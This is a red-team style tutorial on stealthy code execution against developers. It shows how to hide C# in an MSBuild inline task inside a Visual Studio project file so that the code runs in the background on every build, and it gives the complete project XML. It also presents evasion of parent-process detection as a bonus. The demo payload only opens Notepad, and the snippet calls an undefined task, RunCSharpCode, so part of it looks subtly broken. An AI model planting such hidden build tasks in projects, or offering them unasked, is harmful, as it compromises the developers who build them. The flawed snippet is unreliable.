Code Execution Via Visual Studio Project Files

Introduction

Initial access could take different forms depending on the pretext, in this one, we're targeting developers.

While visual studio can be used to write and run code in various languages, we're going for a more stealthy way of code execution. When building a project in Visual Studio, MSBuild is invoked to handle the application building process. Microsoft defines MSBuild as follows:

The Microsoft Build Engine is a platform for building applications. This engine, which is also known as MSBuild, provides an XML schema for a project file that controls how the build platform processes and builds software. Visual Studio uses MSBuild, but MSBuild doesn't depend on Visual Studio. By invoking msbuild.exe or dotnet build on your project or solution file, you can orchestrate and build products in environments where Visual Studio isn't installed.

Visual Studio uses MSBuild to load and build managed projects. The project files in Visual Studio (.csproj, .vbproj, .vcxproj, and others) contain MSBuild XML code that executes when you build a project in the IDE. Visual Studio projects import all the necessary settings and build processes to do typical development work, but you can extend or modify them from within Visual Studio or by using a text editor.

The input of MSBuild is a project file in XML format that determines elements of the building process. Interestingly to us, one of the features that MSBuild supports is "Inline Tasks". This feature allows for the inclusion of code that will be executed as part of the build process. What this means for us is that we could create a Visual Studio project with completely benign source code within the main source files, while at the same time hiding our code in the project file instead to execute in the background during the build process.

Implementation

First, let's create a regular C# "Hello World" Project:

Next, right click the solution and select "Edit Project File". This should show the default XML contents of the file:

<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>

</Project>

Next, Add the following snippet before the closing tag </Project>:

<UsingTask TaskName="HiddenCode" TaskFactory="CodeTaskFactory" AssemblyFile="$(MSBuildToolsPath)\Microsoft.Build.Tasks.v4.0.dll" >
	<ParameterGroup />
	<Task>
	<Code Type="Fragment" Language="cs">
	System.Diagnostics.Process.Start("notepad.exe");
	</Code>
	</Task>
	</UsingTask>
	<Target Name="TestBuild" AfterTargets="Build">
	<HiddenCode/>
	</Target>
	<Target Name="AfterBuild" AfterTargets="Build">
	<RunCSharpCode />
	</Target>

We can now add any arbitrary code within the <Code>tag which we want to execute in the background during the build process. For demonstration purposes, I've included C# code that spawns a new notepad.exe process. Note that regardless of the language of the project, the code within the task should still be a .NET language (ie: C# & Visual Basic).

In order to make sure that the build process is triggered every time regardless of changes to the source code, add the following attribute to the <PropertyGroup> tag:

<DisableFastUpToDateCheck>true</DisableFastUpToDateCheck>

The final project file should now look like this:

<Project Sdk="Microsoft.NET.Sdk">

	<PropertyGroup>
		<OutputType>Exe</OutputType>
		<TargetFramework>net8.0</TargetFramework>
		<ImplicitUsings>enable</ImplicitUsings>
		<Nullable>enable</Nullable>
		<DisableFastUpToDateCheck>true</DisableFastUpToDateCheck>
	</PropertyGroup>

	<UsingTask TaskName="HiddenCode" TaskFactory="CodeTaskFactory" AssemblyFile="$(MSBuildToolsPath)\Microsoft.Build.Tasks.v4.0.dll" >
		<ParameterGroup />
		<Task>
			<Code Type="Fragment" Language="cs">
				System.Diagnostics.Process.Start("notepad.exe");
			</Code>
		</Task>
	</UsingTask>
	<Target Name="TestBuild" AfterTargets="Build">
		<HiddenCode/>
	</Target>
	<Target Name="AfterBuild" AfterTargets="Build">
		<RunCSharpCode />
	</Target>

</Project>

Execution

Now that everything is in place, let's build and compile our hello world project:

Et voilà

Bonus: Parent Process Evasion

As a bonus to this technique, any processes spawned by our code will have MSBuild.exe as its parent process.

Last updated